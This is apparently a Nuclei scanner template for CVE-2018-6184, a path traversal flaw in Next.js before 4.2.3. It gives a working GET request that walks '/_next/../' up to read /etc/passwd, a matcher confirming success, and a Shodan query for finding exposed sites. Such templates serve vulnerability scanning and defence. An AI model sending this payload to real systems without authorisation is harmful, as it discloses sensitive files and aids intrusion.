39 lines
1.2 KiB
YAML
39 lines
1.2 KiB
YAML
|
id: CVE-2018-6184
|
||
|
|
||
|
info:
|
||
|
name: Zeit Next.js <4.2.3 - Local File Inclusion
|
||
|
author: DhiyaneshDK
|
||
|
severity: high
|
||
|
description: |
|
||
|
Zeit Next.js before 4.2.3 is susceptible to local file inclusion under the /_next request namespace. An attacker can obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
|
||
|
reference:
|
||
|
- https://github.com/PortSwigger/j2ee-scan/blob/master/src/main/java/burp/j2ee/issues/impl/NextFrameworkPathTraversal.java
|
||
|
- https://github.com/zeit/next.js/releases/tag/4.2.3
|
||
|
- https://nvd.nist.gov/vuln/detail/CVE-2018-6184
|
||
|
classification:
|
||
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
||
|
cvss-score: 7.5
|
||
|
cve-id: CVE-2018-6184
|
||
|
cwe-id: CWE-22
|
||
|
metadata:
|
||
|
shodan-query: html:"/_next/static"
|
||
|
tags: cve,cve2018,nextjs,lfi,traversal
|
||
|
|
||
|
http:
|
||
|
- method: GET
|
||
|
path:
|
||
|
- "{{BaseURL}}/_next/../../../../../../../../../etc/passwd"
|
||
|
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
- type: regex
|
||
|
part: body
|
||
|
regex:
|
||
|
- "root:.*:0:0:"
|
||
|
|
||
|
- type: status
|
||
|
status:
|
||
|
- 200
|
||
|
|
||
|
# Enhanced by md on 2023/03/07
|